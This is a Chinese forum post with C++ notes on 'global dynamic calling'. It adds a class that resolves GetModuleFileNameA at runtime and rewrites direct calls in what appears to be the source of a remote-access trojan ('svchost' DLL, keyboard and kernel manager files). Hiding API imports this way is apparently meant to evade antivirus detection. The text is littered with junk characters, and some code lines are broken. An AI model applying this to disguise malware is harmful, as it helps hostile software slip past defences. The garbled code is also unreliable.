返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
6 }% S! C8 `9 w0 d! _2 Asvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
! _% ?% V0 ]2 W" \" a% n2 F----------------------------------------+ M& V* [9 e1 |9 Q! R0 A( K
DTDY.h:
4 N% i1 Y' v3 x1 w0 d
9 t! M. \( y3 Y! e. o: b#if _MSC_VER>1000
+ Z% q5 N1 T4 o6 q#pragma once9 E% q& Y! G/ S6 ~
#endif //_MSC_VER>10006 z: c0 C' U! T
#include<windows.h>' a* E0 S( M" v5 P' P: z
! X8 U( K2 a. D3 S' P
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);3 N( t, F3 K7 x! a! _
class DTDY
4 N- ?0 B' j0 x+ H8 a{
( }* d0 v; G! Zpublic:
" H% i! f, R' y4 A8 e: x: t/ kDTDY();& M! |; a$ h( p/ ]( A
virtual ~DTDY();
. A7 G) ^# {1 M8 B6 h5 [4 a" upublic:
6 j( b2 p) u4 _2 }static pGetModuleFileNameA MyGetModuleFileName;2 K$ `& X) F) O# u: C) C
static BOOL FunInitiallization();
) U* f  V  E3 o7 x' Q0 L4 T$ L};  U$ U3 y2 n' i- {8 W$ D% P. _
#endif  Q% i# t$ f2 n
----------------------------------------9 B- K* I6 Y% o* Y

6 W2 W) _# N+ G9 l% [DTDY.cpp:; B- {0 Z" e' T2 f- \1 T
& E# A% L7 m9 a
#include "DTDY.h"/ ~- |- @( n- [" l: ~
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 r7 \: Z+ L! n4 ^. u5 p. PDTDY:TDY()
2 X9 `  s7 V& F/ T) H{0 r, W) ]5 X* f& W0 n( |+ y2 k
}9 z1 A; p0 r: W5 ]5 Z
DTDY::~DTDY()/ i$ Y1 o1 F5 l6 j. M0 ?- ?9 d
{% f* k5 a. p. X6 p0 `; ]
}5 P. N# e+ B# l5 [
BOOL DTDY::FunInitiallization()# G! ^! t" s$ v1 w# S9 H
{
9 _4 [0 Z1 D5 W% B& {! x5 Q( mHMODULE hModule=LoadLibrary("kernel32.dll");
  q, h, N3 S0 W) r' M$ y3 mMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
; x  x" Z6 c2 \$ Gif(!MyGetModuleFileName=) return FALSE;: t$ X) O1 {+ B! x0 T5 B
% d7 w% m* O/ E& w( c& g) @
return TRUE;: R( ]3 Z2 Y) i* d
}
8 k. X- ]; |8 Z( N7 i; e( u----------------------------------------$ r0 v+ x) w" ?/ z/ i) b" G
svchost.cpp:
: ~- D# L+ i8 c& J$ ?7 f: c0 I$ k1 l
, h  O  K, z' e- f$ s#include "DTDY.h"
* F3 S' z! y( n, D; l; a, M0 q: w. W9 P* |
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
. \$ ~- m  Z* k' u/ c{9 B5 {2 M( x& T
switch(ul_reason_for_call)
8 K% z$ f( C7 ^! B0 Q) I{8 \4 i: @% I! f6 B5 E
case DLL_PROCESS_ATTACH:
  Y: c6 e: c5 Z! ?5 y, Iif(!DTDY::FunInitiallization()) return FALSE;
+ P, A3 o1 ~6 M0 ]( R; P& w& N+ q, P
' _- B  w  e" n2 Bbreak;, X: h1 V5 s! y+ C  o& Q" d
}
6 V. P  O4 S9 d* b6 J}# T: W6 f" s/ M* t
# V3 a. ?4 n$ t+ Y

. H0 n4 p5 C) [7 P. K4 F6 UGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def. r% ?& h6 {2 S6 o7 @  x
改写为
( c( H" U7 p4 X) M* gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
- t$ b, ?" f7 B* G8 D( j----------------------------------------: S& t2 `; o, e9 V8 S9 J
KernelManager.cpp:
2 o% ~# W( W8 J# y1 f
) n! y  n" W) q+ ^6 i* C#include "../DTDY.h"; j5 u, V% R9 _6 P! T3 |4 c8 m
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' }  i8 M( e' x% Y( `改写为. D7 f5 Q8 U! U9 M7 {2 t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) T8 y6 @5 n# V$ q3 j2 F
----------------------------------------

返回列表